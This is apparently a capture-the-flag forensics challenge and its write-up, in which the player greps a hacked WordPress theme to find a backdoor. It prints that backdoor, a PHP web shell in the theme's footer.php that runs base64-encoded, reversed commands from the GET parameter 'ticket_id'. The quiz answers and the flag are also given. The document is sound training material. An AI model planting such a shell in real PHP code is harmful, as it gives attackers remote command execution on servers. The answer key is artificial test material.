Mission Name

FindtheCitizen

History Background

Ethan enters the Lazarus citizens' page to clean the level 7 card so he must log in via the web with those credentials. Ethan hacked the site, and he modified the site deploying a backdoor.

Technical High-Level Overview

Claire must get the name and address of the level 7 citizen in each time. Even if she does this in the given time, she will always be kicked out of the system.

Short Mission Description

Your goal is to analyse a WordPress site hacked by Ethan. Please, find the name of the POST parameter tampered to execute commands on Lazarus server.

Mission Description

Ethan enters the Lazarus citizens' page to clean the level 7 card so he must log in via the web with those credentials, he hacks the site. Your goal is to analyse a WordPress site hacked by Ethan. Please, find the name of the GET parameter tampered to execute commands on Lazarus server.

Location

- Latitud/Longitud: SYLVARCON | EBAND DEPARTMENT - RECON HQ

Tools

- CAT
- GREP

Credentials

- N/A

Questions

Which is the name of Wordpress theme hacked ?

- Business hub

Which is the version of Wordpress theme hacked ?

- 1.0.5

Which type of ofuscation was used to to receive commands?

- Base64

Items

1. Use grep command to find $_GET variables
2. Use grep command to find $_GET variables and PHP functions which allow to execute commands on the operating system.
3. Use grep command to find “shell_exec”

Write Up

Player must use command tools to locate a hidden backdoor. In this case, Ethan modified a footer php of a WordPress theme. So, the key here is to know what methods are easy to put on a PHP file, in order to execute commands from GET requests. Shell exec is one of them:

```
jmma@demowindows:/mnt/c/Thratia_2/Evidence$ grep -ir "\$_GET" . | grep  "shell_exec"
./wp-content/themes/business-hub/footer.php:                    $ticket = shell_exec(base64_decode(strrev($_GET["tick
et_id"])));
jmma@demowindows:/mnt/c/Thratia_2/Evidence$
```

Figure 1

$_GET[“ticket_id”] is the GET request which allow to receive commands:

```php
<?php
   $ticket = shell_exec(base64_decode(strrev($_GET["ticket_id"])));
   echo  "<p style ='font:11px/21px Arial,tahoma,sans-serif;color:#0c2433'> $ticket </p>";
  ?>
```

Flag Information

flag{ticket_id}